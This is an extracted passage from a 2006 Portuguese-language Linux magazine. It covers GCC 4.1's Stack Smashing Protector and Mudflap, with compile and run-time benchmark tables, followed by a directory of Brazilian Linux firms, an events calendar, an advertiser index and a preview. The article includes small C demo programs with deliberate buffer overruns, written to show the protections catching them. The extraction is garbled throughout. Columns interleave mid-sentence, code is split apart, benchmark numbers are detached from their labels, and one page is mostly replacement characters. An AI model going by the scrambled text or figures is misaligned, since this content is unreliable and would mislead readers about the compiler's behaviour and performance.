pela IBM e disponível há algum tempo como patch [2]. Programas compilados com suporte a SSP mudam a ordem das variáveis na pilha para evitar a manipulação maliciosa ou inadvertida. O SSP permite que os programadores criem funções para detectar estouros de buffer. Os programadores do GCC ainda estenderam consideravalmente a biblioteca Java que implementa importantes aspectos da API do Java, incluindo o conjunto de ferramentas gráficas AWT e o Swing. Os aplicativos Java sozinhos compõem mais de um terço do Changelog [3]. O GCJ e o GNU Classpath suportam a compilação do ambiente de desenvolvimento Eclipse, escrito em Java, sem qualquer modificação no código. As novas otimizações, baseadas na infraestrutura Tree SSA introduzida na versão 4.0, agora funcionam além dos limites das funções. Isso oferece um esquema mais confiável para a detecção de pedaços de código não utilizados, candidatos a inlining, e variáveis completamente removidas pelas otimizações. Os desenvolvedores também melhoraram a vetorização automática, que mapeia laços em unidades de vetores, como SSE (Intel/AMD) e Altivec (PowerPC).

Velharias

Assim como nas versões anteriores, as extensões GNU foram retiradas das linguagens padronizadas para garantir uma grande portabilidade dos aplicativos para

diversas plataformas e compiladores. Dessa vez, declarações friend em classes foram limadas na limpeza: struct a { friend void f() { ... } };

No GCC 4.1 os programadores C++ devem definir uma função friend em conformidade com os padrões fora da classe: struct a { friend void f(); } void f() { ... }

Namespaces superespecificados (extra qualification), usados em muitos programas em C++, são outra vítima, como demonstrado pelo programador do Debian Martin Michlmayr em [4]. class b { void b::f (); };

O compilador GNU agora retorna um erro: error: extra qualification ‘b::’ on member ‘f’. Neste exemplo, é necessário apagar o b:: na frente dos métodos da classe.

http://supertuxbr.blogspot.com 74

http://www.linuxmagazine.com.br


GCC | PROGRAMAÇÃO

Botan 3.4.0-O0 4.0.0-O0 4.1.0-O0 3.4.0-O1 4.0.0-O1 4.1.0-O1 3.4.0-Os 4.0.0-Os 4.1.0-Os 3.4.0-O2 4.0.0-O2 4.1.0-O2 icc9.0-O2 4.0.0-O2-loops 4.1.0-O2-loops 4.0.0-O2-rename-reg 4.1.0-O2-rename-reg 4.0.0-O2-tracer 4.1.0-O2-tracer 4.0.0-O2-vect 4.1.0-O2-vect 3.4.0-O3 4.0.0-O3 4.1.0-O3 4.0.0-O3-loops 4.1.0-O3-loops 4.0.0-O3-rename-reg 4.1.0-O3-rename-reg 4.0.0-O3-tracer 4.1.0-O3-tracer 4.0.0-O3-vect 4.1.0-O3-vect

Figura 1

Bzip2 209.64 226.50 230.15

35.70 29.46 29.15 28.30 28.55 29.85 29.13 28.27 28.68 28.54 27.89 26.71 29.02 28.26 29.12 28.44 28.46 28.40 28.37 28.43 27.40 26.69 28.58 27.76 28.74

Gnupg 32.99 34.83 34.71

Gzip 21.25 21.73 23.05

Lame

OpenSSL

25.32 26.91 26.86

210.95 236.93 236.45

Tramp3d 7.56 6.77 6.78

249.80 296.70 232.79

13.56 14.46 14.71 13.18 12.73 13.28 13.39 13.66 13.91 13.15

11.91 11.24 10.78 10.66 11.35 11.14 12.02 12.36 11.68 13.86

10.67 9.49 10.52 9.62 10.87 12.31 9.82 9.50 9.26 9.69

88.74 91.51 91.20 88.04 90.89 91.71 83.25 86.36 86.71 81.93

2.33 2.11 1.98 2.10 2.12 2.03 2.10 2.07 1.99 2.16

23.00 8.95 7.18 12.97 91.33 19.66 13.73 8.66 6.46

13.24 13.16 12.95 13.35 13.39 13.71 13.52 13.87 12.05 12.89 13.61 12.95 13.04 12.66 13.34 13.37 13.61 13.32

10.60 11.54 12.36 10.46 10.62 11.01 10.45 10.38 12.22 11.40 10.12 12.00 10.36 10.62 11.15 11.67 10.26 10.49

9.22 9.61 9.30 9.19 9.31 9.38 9.46 9.43 9.66 9.85 9.16 9.30 9.09 9.89 9.18 9.54 9.11 10.01

86.08 83.86 85.64 86.19 86.51 87.24 88.12 87.04 82.12 86.55 87.08 84.08 83.40 84.90 85.67 86.70 86.80 87.86

2.04 1.92 2.02 1.95 2.05 1.99 2.08 2.01 1.92 2.05 1.97 2.02 1.92 2.02 1.92 2.05 1.95 2.08

5.80 4.21 8.13 6.34 8.16 6.46 8.39 6.62 13.84 8.21 4.49 5.75 4.30 8.06 4.25 8.03 4.50 8.45

10.05

9.34

86.14

1.98

4.66

28.44 13.82 (in seconds – smaller is better)

Tempos de execução em diversos cenários de compilação.

Velocidade

Como em meus artigos anteriores sobre o compilador GNU, novamente eu usei o Openbench para descobrir como o compilador atual se compara a seus antecessores (veja a caixa Benchmarks). Como muitos outros desenvolvedores de código aberto têm interesse num benchmark livre com propriedades semelhantes às do SPEC, já antecipo que uma versão inicial de referência do Openbench será paralizada este ano para comparações futuras. Seus comentários e ajuda são bem-vindos. Por sugestão de vários leitores, medi o tempo com -O0, embora isso torne os diagramas mais dinâmicos. As novas versões do GCC compilam muito mais

Benchmarks Para os benchmarks, foi usada a coleção de benchmarks Openbench, referida em artigos anteriores publicados nesta revista. O Openbench agora fez oficialmente a lista de benchmarks na página do GCC [8]. Eu tive que mudar algumas coisas: atualizei o Botan novamente para a versão mais recente, 1.4.12, e substituí o teste do libmad, que tem resultados muito semelhantes em compiladores diferentes, pelo codificador de MP3 de código aberto Lame.

rápido se a otimização for desativada. valor for mudado quando o programa O -O0 é particularmente útil no ciclo sair da função, pode-se presumir que de edição-e-compilação durante o de- o endereço de retorno também foi sosenvolvimento. O sistema Athlon que brescrito – esta é uma técnica comueu usava antes agora foi trocado por um mente utilizada por hackers e softwaAMD64 Turion64. res mal intencionados. Nesse caso, o O efeito mais óbvio pode ser visto programa imprime um aviso e sai. Se nos testes com Botan e o Tramp3d, em você compilar e executar o programa C++: 25% mais rápido com o O2 e mais do exemplo 1, verá uma mensagem de de 40% com o O3, no caso do Botan. Os erro dizendo *** stack smashing detecresultados com código C antigo estão ted ***: ./ssp-test terminated. ➧ bem misturados (veja a figura 1). Se você olhar os tempos de compiExemplo 1: ssp-text.c lação (figura 2), verá quanto trabalho a mais o compilador realiza se a oti01 int f () { 02 char a [200]; mização for pedida. E o esforço nem 03 char* b = a; sempre se reflete em influência positiva 04 int i; sobre o tempo de execução. Podemos 05 for (i=0; i<201; ++i) ficar otimistas pois ao menos o exigente 06 a[i] = i; benchmark C++ Tramp3d foi compila07 } 08 do mais rapidamente pela versão 4.1 do 09 int main () { que pela anterior.

SSP

Como dito antes, o SSP da IBM deixa o programador detectar estouros e esvaziamentos de buffer (buffer underflows). Para tanto, põe um valor aleatório de /dev/urandom ou, caso não haja um disponível, a cadeia de caracteres \0\xFF\n, em algum lugar próximo ao endereço de retorno da pilha. Se esse

10 f (); 11 }

Exemplo 2: mudflap-test.c 01 int main () { 02 char a [200]; 03 char* b = a; 04 printf (“%c\n”, b[200]); 05 }

http://supertuxbr.blogspot.com Linux Magazine #22 | Agosto de 2006

75


PROGRAMAÇÃO | GCC

Botan 3.4.0-O0 4.0.0-O0 4.1.0-O0 3.4.0-O1 4.0.0-O1 4.1.0-O1 3.4.0-Os 4.0.0-Os 4.1.0-Os 3.4.0-O2 4.0.0-O2 4.1.0-O2 icc9.0-O2 4.0.0-O2-loops 4.1.0-O2-loops 4.0.0-O2-rename-reg 4.1.0-O2-rename-reg 4.0.0-O2-tracer 4.1.0-O2-tracer 4.0.0-O2-vect 4.1.0-O2-vect 3.4.0-O3 4.0.0-O3 4.1.0-O3 4.0.0-O3-loops 4.1.0-O3-loops 4.0.0-O3-rename-reg 4.1.0-O3-rename-reg 4.0.0-O3-tracer 4.1.0-O3-tracer 4.0.0-O3-vect 4.1.0-O3-vect

Figura 2

Bzip2

106.80 94.02 95.98

Gnupg

2.23 2.35 2.38

156.91 141.38 183.61 193.57 60.30 63.76 198.22 165.72 99.01 76.35 103.32 168.43 236.07 171.01 238.54 166.87 234.50 93.44 78.25 104.89 81.48 109.67 180.12 248.32 178.12 252.00 177.04 247.40 (in seconds – smaller is better)

Gzip

16.46 17.09 17.14

2.87 3.77 4.55 4.48 3.90 4.34 5.09 5.62 6.17 5.36

23.48 27.05 29.16 30.25 31.77 33.33 33.56 35.82 36.66 32.90

6.16 7.06 5.45 6.13 5.49 6.17 5.89 6.43 5.79 6.13 7.05 7.74 7.97 6.25 7.15 6.26 7.17 6.79 7.45

Lame

1.06 1.12 1.16

38.10 41.98 35.96 37.66 35.02 37.42 35.76 38.24 36.13 37.01 40.57 42.20 47.05 38.18 41.61 38.90 41.32 39.10 43.59

1.56 2.01 2.17 1.86 2.19 2.35 2.15 2.64 2.67 2.07 3.40 3.64 2.48 2.70 2.54 2.77 2.56 2.82 2.40 2.83 3.22 3.80 4.18 2.88 3.25 2.97 3.28 3.02 3.37

Tramp3d

74.05 76.13 74.85

19.09 21.84 23.51 23.46 23.77 25.54 24.68 28.14 29.90 29.32

88.40 98.03 100.46 98.96 104.91 108.28 109.39 118.50 117.30 118.61

35.60 38.54 28.57 30.16 28.54 30.45 29.78 31.78 26.88 30.80 35.95 38.77 43.08 30.91 36.08 31.95 36.19 32.70 37.73

120.06 125.88 115.84 118.95 116.25 117.98 117.78 121.03 112.72 116.92 123.19 124.95 130.84 119.53 124.97 118.46 123.72 121.69 127.30

28.12 35.63 35.46 50.41 110.11 87.50 68.16 43.36 42.60 74.60 139.78 108.59 144.44 115.81 134.40 109.20 136.12 110.14 141.35 112.31 73.52 142.56 117.28 153.54 123.62 144.09 117.92 145.33 119.48 150.60 121.95

Tempos de compilação para vários cenários de compilação.

O aviso dificulta a injeção de código mal intencionado por atacantes na forma de scripts. O parâmetro de linha de comando do GCC -fstack-protector ativa essa proteção.

algumas verificações desnecessárias. Na execução, as funções fornecidas pela biblioteca Libmudflap validam esse acesso, terminando o programa em casos críticos. A Libmudflap também valida muitas funções C padrão capazes de sobrescrever a memória, incluindo mem*, str*, *put*, *get* e diversas outras. Para usar o Mudflap, Uma técnica introduzida no GCC 4.0 todos os arquivos devem ser compilados leva a proteção um passo adiante em com a opção -fmudflap e linkados com relação ao SSP, ativando a validação a -lmudflap. O pequeno programa em C de referências a ponteiros em C e C++. para teste da exemplo 2 simplesmente Durante a compilação, esse mecanismo, acessa a posição de memória um byte conhecido como Mudflap, faz o acesso à além dos limites do vetor a. O Mudflap memória refletir o tipo de acesso (acesso aponta corretamente o nome da variável a campo ou de-referenciamento a pon- que passou dos limites (exemplo 3). teiro) e as condições que o compilador Como o Mudflap valida o acesso à detectar nesse momento. Por exemplo, memória em muitos casos, ele pode afea propagação de constantes pode tornar tar consideravelmente o desempenho em comparação com o SSP, o qual é quase imperceptível. Assim, o Exemplo 3: Saída do Mudflap Mudflap é principalmente útil para desenvolvedores interessamudflap violation 1 (check/read): time=1143457945.900790 dos em um método rápido de ptr=0x7fffffffae78 size=1 pc=0x2aaaaabcd2c1 location=`mudflap-test.c:6 (main)’ detectar erros potencialmente /usr/lib64/libmudflap.so.0(__mf_check+0x41) [0x2aaaaabcd2c1] críticos em estágios iniciais de ./mudflap-testt(main+0xd1) [0x4009f9] desenvolvimento.

Mudflap

01 02 03 04 05 06 07 08 09 10 11 12

OpenSSL

14.90 15.04 15.25

/lib64/libc.so.6(__libc_start_main+0xf4) [0x2aaaaae8bea4] Nearby object 1: checked region begins 1B after and ends 1B after mudflap object 0x603c20: name=`mudflap-test.c:4 (main) a’ bounds=[0x7fffffffadb0,0x7fffffffae77] size=200 area=stack check=0r/0w liveness=0 alloc time=1143457945.900783 pc=0x2aaaaabcc711 number of nearby objects: 1

Futuro

Os diversos projetos externos programados para a integração com o GCC 4.2 [6] incluem o

suporte a OpenMP [7] e extensões das linguagens C, C++ e Fortran para suportar paralelização explícita. Estes projetos objetivam eliminar o buraco que se abriu entre a coleção de compiladores livres e os compiladores comerciais. ■

Mais Informações [1] Homepage do GCC: http:// gcc.gnu.org/ [2] Stack Smashing Protector SSP: http://www.trl.ibm.com/ projects/security/ssp/ [3] Mudanças no GCC 4.1: http://gcc.gnu.org/gcc-4.1/ changes.html [4] Compilando o Debian com o GCC 4.1 – relato de experiência:

http://gcc.gnu.org/ml/ gcc/2006-03/msg00740.html [5] Mudflap: http://gcc.fyxm.net/ summit/2003/mudflap.pdf [6] GCC 4.2: http://gcc.gnu.org/ wiki/GCC%204.2%20Projects [7] OpenMP: http://www.openmp.org/ drupal/mp-documents/spec25.pdf [8] Openbench: http://www.exactcode.de/ oss/openbench/

http://supertuxbr.blogspot.com 76

http://www.linuxmagazine.com.br


http://supertuxbr.blogspot.com


Linux.local

SERVIÇOS

O maior diretório de empresas que oferecem produtos, soluções e serviços em Linux e Software Livre, organizado por estado. Sentiu falta do nome de sua empresa aqui? Entre em contato com a gente: 11 2161-5400 ou anuncios@linuxmagazine.com.br

Fornecedor de Hardware = 1 Redes e Telefonia / PBX = 2 Integrador de Soluções = 3 Literatura / Editora = 4 Fornecedor de Software = 5 Consultoria / Treinamento = 6

Empresa

Cidade

Endereço

Telefone

Web

1 2 3 4 5 6 ✔ ✔

Espírito Santo Linux Shopp

Vila Velha

Rua São Simão (Correspondência), 18 – CEP: 29113-120

27 3082-0932

www.linuxshopp.com.br

Megawork Consultoria e Sistemas

Vitória

Rua Chapot Presvot, 389 – Praia do Canto – CEP: 29055-410 sl 201, 202

27 3315-2370

www.megawork.com.br

✔ ✔

Spirit Linux

Vitória

Rua Marins Alvarino, 150 – CEP: 29047-660

27 3227-5543

www.spiritlinux.com.br

✔ ✔

✔ ✔

Minas Gerais Instituto Online

Belo Horizonte

Av. Bias Fortes, 932, Sala 204 – CEP: 30170-011

31 3224-7920

www.institutoonline.com.br

Linux Place

Belo Horizonte

Rua do Ouro, 136, Sala 301 – Serra – CEP: 30220-000

31 3284-0575

corporate.linuxplace.com.br

✔ ✔ ✔

✔ ✔ ✔

TurboSite

Belo Horizonte

Rua Paraíba, 966, Sala 303 – Savassi – CEP: 30130-141

0800 702-9004

www.turbosite.com.br

✔ ✔

Microhard

Belo Horizonte

Rua República da Argentina, 520 – Sion – CEP: 30315-490

31 3281-5522

www.microhard.com.br

✔ ✔ ✔

✔ ✔

✔ ✔

Paraná iSolve

Curitiba

Av. Cândido de Abreu, 526, Cj. 1206B – CEP: 80530-000

41 252-2977

www.isolve.com.br

Mandriva Conectiva

Curitiba

Rua Tocantins, 89 – Cristo Rei – CEP: 80050-430

41 3360-2600

www.mandriva.com.br

NSI Training

Rio de Janeiro

Rua Araújo Porto Alegre, 71, 4ºandar Centro – CEP: 20030-012 21 2220-7055

www.nsi.com.br

Open IT

Rio de Janeiro

Rua do Mercado, 34, Sl, 402 – Centro – CEP: 20010-120

21 2508-9103

www.openit.com.br

Unipi Tecnologias

Campos dos Goytacazes

Av. Alberto Torres, 303, 1ºandar - Centro – CEP 28035-581

22 2725-1041

www.unipi.com.br

✔ ✔ ✔ ✔

Solis

Lajeado

Rua Comandante Wagner, 12 – São Cristóvão – CEP: 95900-000

51 3714-6653

www.solis.coop.br

✔ ✔ � ✔ ✔

✔ ✔ ✔ ✔

Rio de Janeiro

Rio Grande do Sul

DualCon

Novo Hamburgo

Rua Joaquim Pedro Soares, 1099, Sl. 305 – Centro

51 3593-5437

www.dualcon.com.br

Datarecover

Porto Alegre

Av. Carlos Gomes, 403, Sala 908, Centro Comercial Atrium Center – Bela Vista – CEP: 90480-003

51 3018-1200

www.datarecover.com.br

LM2 Consulting

Porto Alegre

Rua Germano Petersen Junior, 101-Sl 202 – Higienópolis – CEP: 90540-140

51 3018-1007

www.lm2.com.br

Av. Venâncio Aires, 1137 – Rio Branco – CEP: 90.040.193

51 3331-1446

Lnx-IT Informação e Tecnologia Porto Alegre

✔ ✔

✔ ✔

www.lnx-it.inf.br

✔ ✔

Plugin

Porto Alegre

Av. Júlio de Castilhos, 132, 11º andar Centro – CEP: 90030-130 4003-1001

www.plugin.com.br

TeHospedo

Porto Alegre

Rua dos Andradas, 1234/610 – Centro – CEP: 90020-008

51 3286-3799

www.tehospedo.com.br

✔ ✔

Redix

Blumenau

Rua 02 de Setembro, 733, sl 08. CEP 89052-000

47 3323-7313

www.redix.com.br

Santa Catarina ✔ ✔

✔ ✔

São Paulo Ws Host

Arthur Nogueira

Rua Jerere, 36 – Vista Alegre – CEP: 13280-000

19 3846-1137

www.wshost.com.br

DigiVoice

Barueri

Al. Juruá, 159, Térreo – Alphaville – CEP: 06455-010

11 4195-2557

www.digivoice.com.br

✔ ✔ ✔

✔ ✔

Dextra Sistemas

Campinas

Rua Antônio Paioli, 320 – Pq. das Universidades – CEP: 13086-045

19 3256-6722

www.dextra.com.br

✔ ✔

Insigne Free Software do Brasil Campinas

Av. Andrades Neves, 1579 – Castelo – CEP: 13070-001

19 3213-2100

www.insignesoftware.com

Microcamp

Campinas

Av. Thomaz Alves, 20 – Centro – CEP: 13010-160

19 3236-1915

www.microcamp.com.br

Savant Tecnologia

Diadema

Av. Senador Vitorino Freire, 465 – CEP: 09910-550

11 5034-4199

www.savant.com.br

Epopéia Informática

Marília

Rua Goiás, 392 – Bairro Cascata – CEP 17509-140

14 3413-1137

www.epopeia.com.br

Redentor

Osasco

Rua Costante Piovan, 150 – Jd. Três Montanhas – CEP: 06263-270

11 2106-9392

www.redentor.ind.br

Go-Global

Santana de Parnaíba Av. Yojiro Takaoca, 4384, Ed. Shopping Service, Cj. 1013 – CEP: 06541-038

11 2173-4211

www.go-global.com.br

AW2NET

Santo André

Rua Edson Soares, 59 – CEP: 09760-350

11 4990-0065

www.aw2net.com.br

Async Open Source

São Carlos

Rua Orlando Damiano, 2212 – CEP 13560-450

16 3376-0125

www.async.com.br

Delix Internet

São José do Rio Preto

Rua Voluntário de São Paulo, 3066 9º – Centro – CEP: 15015-909

11 4062-9889

www.delixhosting.com.br

4Linux

São Paulo

Rua Teixeira da Silva, 660, 6º andar – CEP: 04002-031

11 2125-4747

www.4linux.com.br

✔ ✔ ✔

✔ ✔ ✔

✔ ✔

✔ ✔ ✔

✔ ✔ ✔ ✔ ✔ ✔

✔ ✔ ✔

http://supertuxbr.blogspot.com 78

http://www.linuxmagazine.com.br


Linux.local | SERVIÇOS

Empresa

Cidade

Endereço

Telefone

Web

1 2 3 4 5 6

São Paulo (continuação) A Casa do Linux

São Paulo

Al. Jaú, 490 – Jd. Paulista – CEP 01420-000

11 3549-5151

www.acasadolinux.com.br

✔ ✔

Accenture do Brasil Ltda.

São Paulo

Rua Alexandre Dumas, 2051 – Chácara Santo Antônio – CEP: 04717-004

11 5188-3000

www.accenture.com.br

✔ ✔

ACR Informática

São Paulo

Rua Lincoln de Albuquerque, 65 –Perdizes – CEP: 05004-010

11 3873-1515

www.acrinformatica.com.br

Agit Informática

São Paulo

Rua Major Quedinho, 111, 5º andar, Cj. 508 – Centro – CEP: 01050-030

11 3255-4945

www.agit.com.br

✔ ✔

Altbit - Informática Comércio e Serviços LTDA.

São Paulo

Av. Francisco Matarazzo, 229, Cj. 57 – Água Branca – CEP 05001-000

11 3879-9390

www.altbit.com.br

AS2M -WPC Consultoria

São Paulo

Av. Tiradentes, 615, Ed. Santiago, 2º andar Bom Retiro – CEP: 01101-010

11 3228-3709

www.wpc.com.br

✔ ✔

✔ ✔

Big Host

São Paulo

Rua Dr. Miguel Couto, 58 – Centro – CEP: 01008-010

11 3033-4000

www.bighost.com.br

✔ ✔

Blanes

São Paulo

Rua André Ampére, 153 – 9º andar – Conj. 91 CEP: 04562-907 (próx. Av. L. C. Berrini)

11 5506-9677

www.blanes.com.br

✔ ✔ ✔

✔ ✔

Commlogik do Brasil Ltda.

São Paulo

Av. das Nações Unidas, 13.797, Bloco II, 6º andar – Morumbi – CEP: 04794-000

11 5503-1011

www.commlogik.com.br

✔ ✔ ✔

✔ ✔

Computer Consulting Projeto e Consultoria Ltda.

São Paulo

Rua Vergueiro, 6455, Cj. 06 – Alto do Ipiranga – CEP: 04273-100 11 5062-3927

www.computerconsulting.com.br

✔ ✔

Consist Consultoria, Sistemas e Representações Ltda.

São Paulo

Av. das Nações Unidas, 20.727 – CEP: 04795-100

11 5693-7210

www.consist.com.br

Domínio Tecnologia

São Paulo

Rua das Carnaubeiras, 98 – Metrô Conceição – CEP: 04343-080

11 5017-0040

www.dominiotecnologia.com.br

EDS do Brasil

São Paulo

Av. Pres. Juscelino Kubistcheck, 1830 Torre 4 - 5º andar

3707-4100

www.eds.com

Ética Tecnologia

São Paulo

Rua Nova York, 945 – Brooklin – CEP:04560-002

11 5093-3025

www.etica.net

Getronics ICT Solutions and Services

São Paulo

Rua Verbo Divino, 1207 – CEP: 04719-002

11 5187-2700

www.getronics.com/br

✔ ✔ ✔ ✔ ✔

✔ ✔ ✔

✔ ✔

✔ ✔

Hewlett-Packard Brasil Ltda.

São Paulo

Av. das Nações Unidas, 12.901, 25º andar – CEP: 04578-000

11 5502-5000

www.hp.com.br

✔ ✔ ✔ ✔

IBM Brasil Ltda.

São Paulo

Rua Tutóia, 1157 – CEP: 04007-900

0800-7074 837

www.br.ibm.com

iFractal

São Paulo

Rua Fiação da Saúde, 145, Conj. 66 – Saúde – CEP: 04144-020 11 5078-6618

www.ifractal.com.br

Integral

São Paulo

Rua Dr. Gentil Leite Martins, 295, 2º andar Jd. Prudência – CEP: 04648-001

11 5545-2600

www.integral.com.br

Itautec S.A.

São Paulo

Rua Santa Catarina, 1 – Tatuapé – CEP: 03086-025

11 6097-3000

www.itautec.com.br

✔ ✔ ✔

Linux Komputer Informática

São Paulo

Av. Dr. Lino de Moraes Leme, 185 – CEP: 04360-001

11 5034-4191

www.komputer.com.br

Linux Mall

São Paulo

Rua Machado Bittencourt, 190, Cj. 2087 – CEP: 04044-001

11 5087-9441

www.linuxmall.com.br

Livraria Tempo Real

São Paulo

Al. Santos, 1202 – Cerqueira César – CEP: 01418-100

11 3266-2988

www.temporeal.com.br

Locasite Internet Service

São Paulo

Av. Brigadeiro Luiz Antonio, 2482, 3º andar – Centro – CEP: 01402-000

11 2121-4555

www.locasite.com.br

Microsiga

São Paulo

Av. Braz Leme, 1631 – CEP: 02511-000

11 3981-7200

www.microsiga.com.br

Novatec Editora Ltda.

São Paulo

R. Luis Antonio dos Santos, 110 – Santana – 02460-000

11 6979-0071

www.novateceditora.com.br

Novell América Latina

São Paulo

✔ ✔

✔ ✔ ✔ ✔ ✔

✔ ✔ ✔ ✔ ✔ ✔ ✔

✔ ✔ ✔

✔ ✔ ✔

Rua Funchal, 418 – Vila Olímpia

11 3345-3900

www.novell.com/brasil

Oracle do Brasil Sistemas Ltda. São Paulo

Av. Alfredo Egídio de Souza Aranha, 100 – Bloco B – 5º andar – CEP: 04726-170

11 5189-3000

www.oracle.com.br

Proelbra Tecnologia Eletrônica Ltda.

São Paulo

Av. Rouxinol, 1.041, Cj. 204, 2º andar Moema – CEP: 04516-001 11 5052- 8044

www.proelbra.com.br

Provider

São Paulo

Av. Cardoso de Melo, 1450, 6º andar – Vila Olímpia – CEP: 04548-005

11 2165-6500

www.e-provider.com.br

Red Hat Brasil

São Paulo

Av. Angélica, 2503, 8º andar Consolação – CEP: 01227-200

11 3124-6000

www.latinsourcetech.com.br

Samurai Projetos Especiais

São Paulo

Rua Barão do Triunfo, 550, 6º andar – CEP: 04602-002

11 5097-3014

www.samurai.com.br

✔ ✔

SAP Brasil

São Paulo

Av. das Nações Unidas, 11.541, 16º andar – CEP: 04578-000

11 5503-2400

www.sap.com.br

✔ ✔

Simples Consultoria

São Paulo

Rua Mourato Coelho, 299, Cj. 02 Pinheiros – CEP: 05417-010

11 3898-2121

www.simplesconsultoria.com.br

✔ ✔

Smart Solutions

São Paulo

Av. Jabaquara, 2940 cj 56 e 57

11 5052-5958

www.smart-tec.com.br

Snap IT

São Paulo

Rua João Gomes Junior, 131 – Jd. Bonfiglioli – CEP: 05299-000

11 3731-8008

www.snapit.com.br

Stefanini IT Solutions

São Paulo

Av. Brig. Faria Lima, 1355, 19º – Pinheiros – CEP: 01452-919

11- 3039-2000

www.stefanini.com.br

Sun Microsystems

São Paulo

Rua Alexandre Dumas, 2016 – CEP: 04717-004

11 5187-2100

www.sun.com.br

Sybase Brasil

São Paulo

Av. Juscelino Kubitschek, 510, 9º andar Itaim Bibi – CEP: 04543-000

11 3046-7388

www.sybase.com.br

The Source

São Paulo

Rua Marquês de Abrantes, 203 – Chácara Tatuapé – CEP: 03060-020

11 6698-5090

www.thesource.com.br

Unisys Brasil Ltda.

São Paulo

Rua Alexandre Dumas, 1711, 10º andar, Ed. Birmann 11 – CEP: 04717-004

11 3305-7000

www.unisys.com.br

Utah

São Paulo

Av. Paulista, 925, 13º andar – Cerqueira César – CEP: 01311-916

11 3145-5888

Visuelles

São Paulo

R. Eng. Domicio Diele Pacheco e Silva, 585 – Interlagos – CEP 04455-310

Webnow

São Paulo

Av. Nações Unidas, 12.995, 10º andar, Ed. Plaza Centenário – Chácara Itaim – CEP: 04578-000

WRL Informática Ltda.

São Paulo

Systech

Taquaritinga

✔ ✔ ✔ ✔

✔ ✔ ✔

✔ ✔

✔ ✔

✔ ✔

✔ ✔

✔ ✔

✔ ✔ ✔

✔ ✔

✔ ✔

www.utah.com.br

✔ ✔

11 5614-1010

www.visuelles.com.br

✔ ✔

11 5503-6510

www.webnow.com.br

Rua Santa Ifigênia, 211/213, Box 02– Centro – CEP: 01207-001 11 3362-1334

www.wrl.com.br

Rua São José, 1126 – Centro - Caixa Postal 71 – CEP: 15.900-000

www.systech-ltd.com.br

✔ ✔

16 3252-7308

✔ ✔

http://supertuxbr.blogspot.com Linux Magazine #23 | Setembro de 2006

79


SERVIÇOS

Calendário de eventos Evento

Data

Local

Website

Black Hat USA 2006

29 de Julho a 3 de Agosto

Las Vegas, EUA

www.blackhat.com

24º Enecomp (Enc. Nac. Estud. Computação)

31 de Julho a 04 de Agosto

Poços de Caldas, MG

www.enec.org.br/enecomp2006

LinuxWorld Conference & Expo San Francisco

14 a 17 de Agosto

Califórnia, EUA

www.linuxworldexpo.com/live/12

3º Festsol (Fest. Soft. Livre da Bahia)

24 a 26 de Agosto

Lauro de Freitas, BA

www.psl-ba.softwarelivre.org

2º Seminário Linux Park ‘06

29 de Agosto

São Paulo, SP

www.linuxpark.com.br

Congresso InfoSoft 2006

31 de Agosto e 1º de Setembro

São José do Rio Preto, SP

www.congressoinfosoft.com.br

4º Encontro Nacional Linuxchix Brasil

8 e 9 de Setembro

Florianópolis, SC

www.linuxchix.org.br

Tivoli Day

10 de Agosto

Brasília e Belo Horizonte

www.ibm.com/br/navcode (códs. tivolidaybsb ou tivolidaybh)

O'Reilly EuroOSCON 2006

18 a 21 de Setembro

Bruxelas, Bélgica

www.conferences.oreillynet.com/euos2006

III Seminário LinuxPark'06

20 de Setembro

São Paulo, SP

www.linuxpark.com.br

Seminário Web com Ruby on Rails

23 de Setembro

São Paulo, SP

www.eventos.temporeal.com.br

OpenOffice.org Conference 2006

11 a 13 de Setembro

Lyon, França

www.marketing.openoffice.org/ooocon2006

III Fórum Reg. de Soft. Livre do ABCD

21 e 23 de Setembro

Diadema, SP

www.psl-abcd.org/forum/2006/

KDE Dev. and Users Conf 2006 “aKademy”

23 a 30 de Setembro

Dublin, Irlanda

www.conference2006.kde.org

SECCOMP 2006 (XIV Sem. Ciência Comp.)

23 a 27 de Outubro

Rio Claro , SP

www.rc.unesp.br/seccomp

LinuxWorld Conference & Expo UK

25 e 26 de Outubro

Londres, Inglaterra

www.linuxworldexpo.co.uk

2ª Semana Software Livre Univale

20 e 21 de Outubro

Ivaiporã, PR

www.univale.com.br/livre

International PHP Conference 2006

5 a 8 de Novembro

Frankfurt, Alemanha

www.phpconference.com

Web 2.0 Conference

7 a 9 de Novembro

Califórnia, EUA

www.web2con.com

Índice de anunciantes Empresa

Website

Página

4Linux

www.4linux.com.br

17

BRConnection

www.brc.com.br

33

Green Treinamentos

www.green.com.br

19

Guia de Tecnologia da Informação

www.guiadeti.com/portugues

13

IBM

www.ibm.com.br

84

Intel

www.intel.com.br

15

Itautec

www.itautec.com.br

07

LinuxPark’06

www.linuxpark.com.br

02

LinuxWorld Expo

www.linuxworldexpo.com.br

81

Linux.local

www.linuxnewmedia.com.br

11

Oracle

www.oracle.com/global/br

09

Plugin

www.plugin.com.br

83

SnapIT

www.snapit.com.br

67

Thin Networks

www.thinnetworks.com.br

37

VIPware

www.vipware.com.br

77

http://supertuxbr.blogspot.com 80

http://www.linuxmagazine.com.br


�������������������������������

���������������� ��������������

����������������������

����������������������

��������

����������������������

�����������������������

�������

�����������������������

���������������������

����������

�������������������

�����������������������

����������

���������������

�������������������������

��������

�����������������������

���������������������

�������

�����������������������

������������������������

��������

������������������������

���������������������

����������

������������������������

�����������������������

���������

�����������������������

����������������������

������������

����������������������������� �������������������������

��������

������������������������

�����������������������

��������������

��������������������

����������������������

http://supertuxbr.blogspot.com �����������������������������������������������������������������

���������������������������


Setembro de 2006

PREVIEW

Na Linux Magazine #23… DESTAQUE

SYSADMIN

Solução luminosa

O ataque dos bots

A combinação LAMP (Linux, Apache, MySQL, PHP/Python/Perl) cada vez mais se consolida como um conjunto insuperável para servidores web nos quesitos desempenho, segurança e economia, entre outros. Para a próxima edição, preparamos artigos sobre cada um dos componentes: Apache, MySQL e PHP. Não perca também os artigos complementares sobre o tema: indexação de textos no PostgreSQL e técnicas de programação web Ajax (Asynchronous Javascript and XML) com Python. ■

Nosso colunista Charly Kühnast conta como contornou um ataque de uma rede de bots (PCs “seqüestrados”) para envio massivo de spam, em um de seus servidores. ■ TUTORIAL

Easy Raider

Saiba como tirar mais desempenho e segurança no armazenamento de dados com um sistema RAID (Redundant Array of Independent Disks). Conheça os diferentes níveis RAID e como implementá-los no Linux. ■

Setembro de 2006

Na EasyLinux #06… DESTAQUE

LABORATÓRIO

